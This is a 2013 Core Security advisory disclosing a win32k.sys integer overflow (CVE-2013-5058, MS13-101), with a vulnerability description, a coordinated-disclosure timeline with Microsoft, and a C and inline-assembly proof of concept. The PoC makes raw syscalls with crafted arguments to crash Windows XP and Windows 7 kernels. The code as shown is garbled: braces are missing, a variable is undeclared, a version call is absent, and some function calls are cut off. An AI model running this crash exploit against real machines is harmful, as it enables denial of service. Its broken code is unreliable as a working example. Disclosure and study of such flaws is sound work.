Microsoft Windows Kernel - 'win32k.sys' Integer Overflow (MS13-101)







Core Security - Corelabs Advisory

Divide Error in Windows Kernel

1. *Advisory Information*

Title: Divide Error in Windows Kernel
Advisory ID: CORE-2013-0807
Advisory URL:
Date published: 2013-12-11
Date of last update: 2013-12-11
Vendors contacted: Microsoft
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Integer overflow [CWE-190]
Impact: Denial of service
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2013-5058

3. *Vulnerability Description*

Windows kernel is prone to a security vulnerability when executing the
(GDI support) function 'RFONTOBJ::bTextExtent' located in 'win32k.sys'.
This vulnerability could be exploited by an attacker to crash the
windows kernel by calling the user mode function 'NtGdiGetTextExtent'
with specially crafted arguments.

Microsoft notifies that this vulnerability may allow Elevation of
Privilege attacks but did not provide further technical details.

4. *Vendor Information, Solutions and Workarounds*

For additional information regarding affected versions, non-affected
versions, fixes and official patches please visit:

   . Microsoft Security Bulletin MS13-101 -
   . Description of the security update for Windows kernel-mode drivers

5. *Credits*

This vulnerability was discovered and researched by Nicolas Economou
from Core Exploit Writers Team. The publication of this advisory was
coordinated by Fernando Miranda from Core Advisories Team.

6. *Technical Description / Proof of Concept Code*

The vulnerable function is 'RFONTOBJ::bTextExtent', located in the
Windows kernel driver 'win32k.sys'. The way to call this function from
user mode is calling the function 'NtGdiGetTextExtent'.

The bug takes place when performing a signed division 'IDIV', the result
does not fit in the destination and the kernel raises an 'INTEGER
OVERFLOW' exception.

6.1. *Proof of Concept*

The following PoC was compiled in VS2012 and tested against Windows XP
and Windows 7, and it allows reproducing the vulnerability. By running
this PoC the affected OS will crash into a blue screen.

# include <windows.h>
# include <stdio.h>

__declspec (naked) int _NtGdiSetTextJustification (HDC v1, int extra,
int count)
    // Windows XP
    __asm mov eax,0x111e  
    __asm mov edx,0x7ffe0300
    __asm call dword ptr [edx]
    __asm ret 0x0c

__declspec (naked) int _NtGdiGetTextExtent (HDC v1, int v2, int v3, int
v4, int v5)
    // Windows XP
    __asm mov eax,0x10cc  
    __asm mov edx,0x7ffe0300
    __asm call dword ptr [edx]
    __asm ret 0x14

__declspec (naked) int _NtGdiSetTextJustification_W7 (HDC v1, int extra,
int count)
    // Windows 7
    __asm mov eax,0x1129  
    __asm mov edx,0x7ffe0300
    __asm call dword ptr [edx]
    __asm ret 0x0c

__declspec (naked) int _NtGdiGetTextExtent_W7 (HDC v1, int v2, int v3,
int v4, int v5)
    // Windows 7
    __asm mov eax,0x10D6  
    __asm mov edx,0x7ffe0300
    __asm call dword ptr [edx]
    __asm ret 0x14

int main ()
    char buffer [4096];
    HDC hdc;

    memset(buffer, 0, 4096);
    /* Obtaining the OS version */
    memset(&v, 0, sizeof(v));
    v.dwOSVersionInfoSize = sizeof(v);
    hdc = CreateCompatibleDC(NULL);
    /* If it's Windows XP */
    if ((v.dwMajorVersion == 5) && (v.dwMinorVersion == 1))
        _NtGdiSetTextJustification(hdc, 0x08000000, 0xffffffff);
        _NtGdiGetTextExtent(hdc, (int) buffer, 0x11, 0x44444444,
    /* If it's Windows 7 */
    else if ((v.dwMajorVersion == 6) && (v.dwMinorVersion == 1))
        _NtGdiSetTextJustification_W7(hdc, 0x08000000, 0xffffffff);
        _NtGdiGetTextExtent_W7(hdc, (int) buffer, 0x11, 0x44444444,
        printf("unsupported OS\n");
    return 0;


7. *Report Timeline*

. 2013-08-12:
Core Security Technologies notifies the MSRC of the vulnerability.
Publication date is set for Sep 3rd, 2013.

. 2013-08-12:
MSRC acknowledges the receipt of the information and opens the case
15304 for this issue.

. 2013-09-02:
Core asks for a status update.

. 2013-09-02:
MSRC confirms that they have reproduced the issue as reported and asks
to postpone the publication of technical details until an upcoming
security update.

. 2013-09-02:
Core asks for an estimated release date.

. 2013-09-03:
First release date missed.

. 2013-09-08:
MSRC notifies that they are still investigating the root cause of this
issue and that they will send an update when begin developing a fix.

. 2013-09-09:
Core notifies that the advisory publication was tentatively re-scheduled
for October 8th, 2013.

. 2013-10-08:
Second release date missed.

. 2013-10-15:
Core asks for a status update.

. 2013-10-16:
MSRC notifies that they have reproduced the issue; however, they are
still performing the standard variant investigation and fuzzing to
ensure a complete fix for the issue.

. 2013-11-04:
MSRC notifies that they have completed the investigation and are
currently developing a fix. Typically, developing and testing a fix is a
process that takes at least 30 days.

. 2013-11-14:
MSRC notifies that they are currently testing a fix for this issue.

. 2013-11-26:
Core re-schedules the advisory publication for Dec 16th.

. 2013-12-10:
MSRC releases the Security Bulletin MS13-101 [1], [2] for this
vulnerability without notify Core.

. 2013-12-11:
Advisory CORE-2013-0807 published.

8. *References*

[1] Microsoft Security Bulletin MS13-101,
[2] Description of the security update for Windows kernel-mode drivers,

9. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
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10. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
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Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:

11. *Disclaimer*

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)

12. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at